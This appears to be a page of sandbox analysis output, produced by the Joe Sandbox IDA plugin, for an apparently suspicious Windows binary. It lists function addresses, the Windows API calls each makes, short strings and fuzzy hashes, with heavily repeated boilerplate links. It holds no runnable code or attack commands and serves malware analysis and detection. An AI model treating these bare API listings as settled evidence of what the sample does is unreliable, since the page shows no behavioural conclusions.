Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: 651f3cc7b3bf6b2d0907758a46fe884ebb4c0a455a39d8a8a75770e073edfa44
Instruction ID: 0d208b81b36ae076dc9b7536b0bcfdcb3a380a64fd337f4628b348816c9246af
Opcode Fuzzy Hash: 651f3cc7b3bf6b2d0907758a46fe884ebb4c0a455a39d8a8a75770e073edfa44
Instruction Fuzzy Hash: 6861CF31218249AFD316DF24C990E7ABBE5FF84308F14949CF5998B2A2CB35ED05CB91

Function 003DEC27 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003DE60C: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,003DD6E2,?), ref: 003DE629

Part of subcall function 003DE60C: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,003DD6E2,?), ref: 003DE642

Part of subcall function 003DE9C5: GetFileAttributesW.KERNELBASE(?,003DD755), ref: 003DE9C6

lstrcmpiW.KERNEL32(?,?), ref: 003DEC9F
MoveFileW.KERNEL32(?,?), ref: 003DECD8
_wcslen.LIBCMT ref: 003DEE17
_wcslen.LIBCMT ref: 003DEE2F
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 003DEE7C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: be2d1fe5535ffc2a2522ce1585d47e6c0bb74a5b164530af46f39f60a6abce93
Instruction ID: a0b8f933c9354871ebb1ceec5514c7843cde517f4fbff5279ffe97094a0a866b
Opcode Fuzzy Hash: be2d1fe5535ffc2a2522ce1585d47e6c0bb74a5b164530af46f39f60a6abce93
Instruction Fuzzy Hash: 325184B24083855BC736EB94D881ADFB7ECAF85310F00492FF5899B152EF34A6888756

Function 003A23E1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 003A2453
_free.LIBCMT ref: 003A2473

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4d589b8f4a4a4d3928701d99e4de8e2da385b6bdd643a420e74e7106a1995690
Instruction ID: 30cfb060903c7ed5175b14d6633b48936c83eaff1edad3f115417b4e85bb2b75
Opcode Fuzzy Hash: 4d589b8f4a4a4d3928701d99e4de8e2da385b6bdd643a420e74e7106a1995690
Instruction Fuzzy Hash: 9241D136A002049FDB25DF7CC881A5EB7F6EF8A714F1641A8E915EF291D631ED01CB80

Function 003E41CE Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 003E4225
TranslateAcceleratorW.USER32(?,00000000,?), ref: 003E427C
TranslateMessage.USER32(?), ref: 003E42A5
DispatchMessageW.USER32(?), ref: 003E42AF
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 003E42C0

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 63dd2979c27b90404f4ca19285aa489dc1a1059513798ccc774e5c3df522a6cf
Instruction ID: 32834389d58a4b3f4788851e5823b04d6c9ac871bc0359a221571d30e955ae2f
Opcode Fuzzy Hash: 63dd2979c27b90404f4ca19285aa489dc1a1059513798ccc774e5c3df522a6cf
Instruction Fuzzy Hash: BF31E6749002959EEB36CB76DD08BB637ACAB0D305F450B7DF962820E0E7B49984CB15

Function 003D2191 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 003D21A5
PostMessageW.USER32(00000001,00000201,00000001), ref: 003D2251
Sleep.KERNEL32(00000000,?,?,?), ref: 003D2259
PostMessageW.USER32(00000001,00000202,00000000), ref: 003D226A
Sleep.KERNEL32(00000000,?,?,?,?), ref: 003D2272

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: c5adea2e261892acb998c7c727f8f1ca14b62f414cc634121cd136ff963b96e4
Instruction ID: 22ebed374d03409c8130886b529f653cb87f57c3946583434d8326f744286b66
Opcode Fuzzy Hash: c5adea2e261892acb998c7c727f8f1ca14b62f414cc634121cd136ff963b96e4
Instruction Fuzzy Hash: 4731D672900219EFDB04CFA8DD89ADF7BB5EB24315F104626F925AB2D0C770AD54CB90

Function 00406065 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 004060A4
SendMessageW.USER32(?,00001074,?,00000001), ref: 004060FC
_wcslen.LIBCMT ref: 0040610E
_wcslen.LIBCMT ref: 00406119
SendMessageW.USER32(?,00001002,00000000,?), ref: 00406175

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: dcdaf65e6f9c924131f84c1cd79ca6a87fc48ae992b49bfa8e3c7d1d778c0ec1
Instruction ID: 6b06eeb5f3120ece6c2e780ff88e4a03573e9ec4245ef0ae8b92bd33752916ad
Opcode Fuzzy Hash: dcdaf65e6f9c924131f84c1cd79ca6a87fc48ae992b49bfa8e3c7d1d778c0ec1
Instruction Fuzzy Hash: CD215071900218ABDB119FA4CC849EE7BB9EF05324F108267F926BA2C5D7788585CF55

Function 003D089E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,003D07D1,80070057,?,?,?,003D0BEE), ref: 003D08BB
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,003D07D1,80070057,?,?), ref: 003D08D6
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,003D07D1,80070057,?,?), ref: 003D08E4
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,003D07D1,80070057,?), ref: 003D08F4
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,003D07D1,80070057,?,?), ref: 003D0900

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 169463ac901039cdb332ddddc02d78524edf039d3ff3d8aa70022f9a51e9a6c6
Instruction ID: 38d648af53fcc882cf42a48b714a5c8dcbf8a2629038e9769f36b93222015ef1
Opcode Fuzzy Hash: 169463ac901039cdb332ddddc02d78524edf039d3ff3d8aa70022f9a51e9a6c6
Instruction Fuzzy Hash: 4F018F73A00208AFDB165FA4ED04B9A7BBDEB48B52F114025F905E2321D770DD009BA0

Function 003E0BCB Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,003E0A39,?,003E3C56,?,00000001,003B3ACE,?), ref: 003E0BE0
CloseHandle.KERNEL32(?,?,?,?,003E0A39,?,003E3C56,?,00000001,003B3ACE,?), ref: 003E0BED
CloseHandle.KERNEL32(?,?,?,?,003E0A39,?,003E3C56,?,00000001,003B3ACE,?), ref: 003E0BFA
CloseHandle.KERNEL32(?,?,?,?,003E0A39,?,003E3C56,?,00000001,003B3ACE,?), ref: 003E0C07
CloseHandle.KERNEL32(?,?,?,?,003E0A39,?,003E3C56,?,00000001,003B3ACE,?), ref: 003E0C14
CloseHandle.KERNEL32(?,?,?,?,003E0A39,?,003E3C56,?,00000001,003B3ACE,?), ref: 003E0C21

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 22b75fd5907b3543431833ea0d9c0c54aa732b9bca9397ab2641286e9618ba46
Instruction ID: a949fa169079081481d096e2e60964eeeb3ae3ab45d86b930fc873343e063447
Opcode Fuzzy Hash: 22b75fd5907b3543431833ea0d9c0c54aa732b9bca9397ab2641286e9618ba46
Instruction Fuzzy Hash: 27019071800B669FC735AF66D980816FBF5BE503153168A3ED19252971C7B1A989CE80

Function 003D64D3 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 003D64E7
GetWindowTextW.USER32(00000000,?,00000100), ref: 003D64FE
MessageBeep.USER32(00000000), ref: 003D6516
KillTimer.USER32(?,0000040A), ref: 003D6532
EndDialog.USER32(?,00000001), ref: 003D654C

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 3cd8c771ad459d68f00ad3d004e03642b74f0df2dfef9adb35bf43386bb7c628
Instruction ID: 86bab805c4bc75fd5a1992348b6cb8f00cf5171a46dc77fd6d00426289efd435
Opcode Fuzzy Hash: 3cd8c771ad459d68f00ad3d004e03642b74f0df2dfef9adb35bf43386bb7c628
Instruction Fuzzy Hash: F901D631900704ABEB215F54FE4FB967779BB10701F00056AB197714E0DBF4AA98CB54

Function 003A2630 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 003A264E

Part of subcall function 003A2D58: RtlFreeHeap.NTDLL(00000000,00000000,?,003ADB71,00441DC4,00000000,00441DC4,00000000,?,003ADB98,00441DC4,00000007,00441DC4,?,003ADF95,00441DC4), ref: 003A2D6E
Part of subcall function 003A2D58: GetLastError.KERNEL32(00441DC4,?,003ADB71,00441DC4,00000000,00441DC4,00000000,?,003ADB98,00441DC4,00000007,00441DC4,?,003ADF95,00441DC4,00441DC4), ref: 003A2D80

_free.LIBCMT ref: 003A2660
_free.LIBCMT ref: 003A2673
_free.LIBCMT ref: 003A2684
_free.LIBCMT ref: 003A2695

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 608fea7afdcf6dcd531af5ec5f27d84224bb076aa2172f805259202eb4a8a6cc
Instruction ID: 5355a2d4f2989b765d4c12b0aadd5edc2730ba19c0ea47ab3391eebed3c4ba26
Opcode Fuzzy Hash: 608fea7afdcf6dcd531af5ec5f27d84224bb076aa2172f805259202eb4a8a6cc
Instruction Fuzzy Hash: 96F03A788012208FD706BF58BC4184A3B64FB1B751742026BF524AA276C7B00997AF8C

Function 003F6B2D Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 003905D2: EnterCriticalSection.KERNEL32(0044170C,?,00000000,?,0037D1DA,00443540,00000001,00000000,?,?,003EEF39,?,?,00000000,00000001,?), ref: 003905DD
Part of subcall function 003905D2: LeaveCriticalSection.KERNEL32(0044170C,?,0037D1DA,00443540,00000001,00000000,?,?,003EEF39,?,?,00000000,00000001,?,00000001,00442430), ref: 0039061A

Part of subcall function 00390433: __onexit.LIBCMT ref: 00390439

__Init_thread_footer.LIBCMT ref: 003F6B95

Part of subcall function 00390588: EnterCriticalSection.KERNEL32(0044170C,00000000,?,0037D208,00443540,003B27E9,00000001,00000000,?,?,003EEF39,?,?,00000000,00000001,?), ref: 00390592
Part of subcall function 00390588: LeaveCriticalSection.KERNEL32(0044170C,?,0037D208,00443540,003B27E9,00000001,00000000,?,?,003EEF39,?,?,00000000,00000001,?,00000001), ref: 003905C5

Part of subcall function 003E3EF6: LoadStringW.USER32(00000066,?,00000FFF,0040DCEC), ref: 003E3F3E
Part of subcall function 003E3EF6: LoadStringW.USER32(?,?,00000FFF,?), ref: 003E3F64

Strings

x3D, xrefs: 003F6C97
x3D, xrefs: 003F6CB0
x3D, xrefs: 003F6CCC

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x3D$x3D$x3D
API String ID: 1072379062-1385361720
Opcode ID: fc015dccb922bfffa7660a1dbf835f7a26d8a5fca4e564df29986be8efd94a0c
Instruction ID: 7ca58361cf905b62ba0c13b6ac566eb7bc2ecd074c0400ef678cefb747b356a7
Opcode Fuzzy Hash: fc015dccb922bfffa7660a1dbf835f7a26d8a5fca4e564df29986be8efd94a0c
Instruction Fuzzy Hash: 7FC1C135A00109AFDB16DF58C882EBEB7B9FF58300F118069FA55AB291DB74ED44CB90

Function 0037CF30 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0037D203

Strings

D5D, xrefs: 0037CF7F
D5D, xrefs: 0037D1EA
D5D, xrefs: 0037CF78

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Init_thread_footer
String ID: D5D$D5D$D5D
API String ID: 1385522511-3209547757
Opcode ID: 538816186b24277a88ddff8387ac69cc37d9ea3d1455bb7c64a319e730cdaa5f
Instruction ID: 7ab492a5ab88ad6ba979f04251c8cba7a22fe712c822ef3b9710c77e6db85db0
Opcode Fuzzy Hash: 538816186b24277a88ddff8387ac69cc37d9ea3d1455bb7c64a319e730cdaa5f
Instruction Fuzzy Hash: A9915875A00206DFCB69CF58C4916AAB7F2FF58710F25816ED849AB340D739EA81CF90

Function 003DCA3D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 003DCAC6
DeleteMenu.USER32(?,00000007,00000000), ref: 003DCB0C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00442990,01034A78), ref: 003DCB55

Strings

0, xrefs: 003DCA9F

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: edba7be18510acc29a73005b89f17caa3f654f7f81525cfe9156bfda77743015
Instruction ID: f4861bff9e0a1756b083f73414bfc34cbab61d7e21d33eb4a81f27fdb03a1786
Opcode Fuzzy Hash: edba7be18510acc29a73005b89f17caa3f654f7f81525cfe9156bfda77743015
Instruction Fuzzy Hash: E641C2326253029FDB21DF24E846F6ABBE8AF84324F14561FF9659B391D770E804CB52

Function 00404D75 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0040DCD0,00000000,?,?,?,?), ref: 00404E09
GetWindowLongW.USER32 ref: 00404E26
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404E36

Strings

SysTreeView32, xrefs: 00404DDB

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 3240d1e2f09a8f3e681083a94c12cf05bd9debeb19c23d3a53cb9d5e49d46db5
Instruction ID: a742ba603595c48503fd874a094ae3c864a2b956d5729c94ff6287c9f58c7c49
Opcode Fuzzy Hash: 3240d1e2f09a8f3e681083a94c12cf05bd9debeb19c23d3a53cb9d5e49d46db5
Instruction Fuzzy Hash: 2D317271100205ABDF219E78CC45BEB77A9EF49334F20472AFA79A32D0D778A8519794

Function 00404817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 0040489F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 004048B3
SendMessageW.USER32(?,00001002,00000000,?), ref: 004048D7

Strings

SysMonthCal32, xrefs: 0040486A

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: ecdb074b914635940b31938e0c3ca07a1e9a156ca442f67f7cf37a96951b5540
Instruction ID: 67874ed841890cda070966b7637b424e7ae3f42ed11a21c7931e8541a1d9ca69
Opcode Fuzzy Hash: ecdb074b914635940b31938e0c3ca07a1e9a156ca442f67f7cf37a96951b5540
Instruction Fuzzy Hash: C121BF37600218AFDF259F90CC42FEB3B69EF88724F104625FE15BB1D0D6B5A8558BA4

Function 00404116 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 0040419F
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 004041AF
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 004041D5

Strings

Listbox, xrefs: 0040416E

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 18b9f6322141dda5118e033ac095d767c983fa708bda814f41cdf29c0f3a02d9
Instruction ID: ca5a2f996a3fc48b671ce6f521ad77dc7211ec8a8b2149f06c73bd9a6553a8ea
Opcode Fuzzy Hash: 18b9f6322141dda5118e033ac095d767c983fa708bda814f41cdf29c0f3a02d9
Instruction Fuzzy Hash: E621C272610218BBEF218F54DC89FBB376EEFD9754F108125FA04AB2D0C6759C9287A4

Function 00404B4A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00404BAE
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00404BC3
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00404BD0

Strings

msctls_trackbar32, xrefs: 00404B85

Memory Dump Source

Source File: 00000007.00000002.1952140583.0000000000371000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00370000, based on PE: true

Associated: 00000007.00000002.1952117573.0000000000370000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.000000000040D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952200113.0000000000433000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952252060.000000000043D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.1952275535.0000000000445000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_370000_qwlvpmrupf.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
